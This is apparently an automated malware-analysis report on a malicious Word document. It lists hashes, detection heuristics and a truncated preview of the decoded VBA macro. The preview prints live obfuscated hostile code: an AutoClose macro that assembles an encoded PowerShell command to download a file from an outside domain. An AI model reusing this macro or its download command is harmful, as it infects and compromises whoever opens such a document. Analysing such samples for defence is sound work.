Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 410176eebc6ad926…

MALICIOUS

Office (OLE)

169.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: c5c076324a97bebf2908fbf77f4469a3 SHA-1: dba8be7d7c0043be80433b217c756cd758915e7c SHA-256: 410176eebc6ad926d379a05a0797ffe79d2b1eb2277e2a0178215eb7b759b32e
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The presence of an AutoClose macro and the ClamAV detection signature 'Doc.Malware.Sagent-6697295-0' strongly indicate malicious intent. The macro is designed to execute automatically, likely to download and run a secondary payload, although the specific actions are obfuscated within the VBA code. The document body is heavily corrupted, providing no contextual clues.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63116 bytes
SHA-256: 3fccf8004624c34f9d48912adf3e3e8044dd675a38941a1249962b55d119e0bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const QuWeghIjAZIJaijOayrIrvobaJiPOMUseJAlyWUM = 0
Sub AutoClose()
On Error Resume Next
Dim MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(4)

If 13 = 13 + (8 * 0) Then
MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(0) = CLng(1842)
End If
MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(1) = Sqr(8)
MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(2) = Month(18421842)
MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(3) = Fix(1842.8)
Dim soqiSumUfOnaZiJlnesEFAieNYB(4)

Dim kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(4)

If 12 = 12 + (7 * 0) Then
kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(0) = CLng(7770)
End If
kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(1) = Sqr(7)
kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(2) = Month(77707770)
kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(3) = Fix(7770.7)
Dim xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(4)

If 10 = 10 + (7 * 0) Then
xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(0) = CLng(1437)
End If
xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(1) = Sqr(7)
xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(2) = Month(14371437)
xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(3) = Fix(1437.7)
If 11 = 11 + (1 * 0) Then
Dim xudOPEDyGurUxYgdYTNuiEczElukiMon(4)

If 10 = 10 + (8 * 0) Then
xudOPEDyGurUxYgdYTNuiEczElukiMon(0) = CLng(4191)
End If
xudOPEDyGurUxYgdYTNuiEczElukiMon(1) = Sqr(8)
xudOPEDyGurUxYgdYTNuiEczElukiMon(2) = Month(41914191)
xudOPEDyGurUxYgdYTNuiEczElukiMon(3) = Fix(4191.8)
soqiSumUfOnaZiJlnesEFAieNYB(0) = CLng(9382)
Dim GiBISuWYLjOGalOUKUrXohAeWif(4)

If 11 = 11 + (6 * 0) Then
GiBISuWYLjOGalOUKUrXohAeWif(0) = CLng(6483)
End If
GiBISuWYLjOGalOUKUrXohAeWif(1) = Sqr(6)
GiBISuWYLjOGalOUKUrXohAeWif(2) = Month(64836483)
GiBISuWYLjOGalOUKUrXohAeWif(3) = Fix(6483.6)
Dim roPufYQYBAmOhuQEbeBYzaHmeHEv(4)

If 12 = 12 + (5 * 0) Then
roPufYQYBAmOhuQEbeBYzaHmeHEv(0) = CLng(7444)
End If
roPufYQYBAmOhuQEbeBYzaHmeHEv(1) = Sqr(5)
roPufYQYBAmOhuQEbeBYzaHmeHEv(2) = Month(74447444)
roPufYQYBAmOhuQEbeBYzaHmeHEv(3) = Fix(7444.5)
End If
Dim AberDyHsOHuNefHyLAgIXElt(4)

If 12 = 12 + (8 * 0) Then
AberDyHsOHuNefHyLAgIXElt(0) = CLng(3836)
End If
AberDyHsOHuNefHyLAgIXElt(1) = Sqr(8)
AberDyHsOHuNefHyLAgIXElt(2) = Month(38363836)
AberDyHsOHuNefHyLAgIXElt(3) = Fix(3836.8)
Dim hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(4)

If 11 = 11 + (3 * 0) Then
hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(0) = CLng(6066)
End If
hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(1) = Sqr(3)
hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(2) = Month(60666066)
hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(3) = Fix(6066.3)
soqiSumUfOnaZiJlnesEFAieNYB(1) = Sqr(1)
soqiSumUfOnaZiJlnesEFAieNYB(2) = Month(93829382)
Dim BIgEqOxoQiloHaiqYSYiyxUPUqAz(4)

If 11 = 11 + (6 * 0) Then
BIgEqOxoQiloHaiqYSYiyxUPUqAz(0) = CLng(4536)
End If
BIgEqOxoQiloHaiqYSYiyxUPUqAz(1) = Sqr(6)
BIgEqOxoQiloHaiqYSYiyxUPUqAz(2) = Month(45364536)
BIgEqOxoQiloHaiqYSYiyxUPUqAz(3) = Fix(4536.6)
soqiSumUfOnaZiJlnesEFAieNYB(3) = Fix(9382.1)
qUFoCIDYCYWWeLaIDUpEtedowi = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^v^A^H^c^A^a^Q^B^l^A^G^8^A^c^Q^B^r^A^H^g^A^a^w^B^h^A^G^w^A^c^w^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^0^"
Dim rQocYNaPYTvAcUtaaEruPTiNowosuTUxUdafijP(4)

If 10 = 10 + (6 * 0) Then
rQocYNaPYTvAcUtaaEruPTiNowosuTUxUdafijP(0) = CLng(2808)
End If
rQocYNaPYTvAcUtaaEruPTiNowosuTUxUd
... (truncated)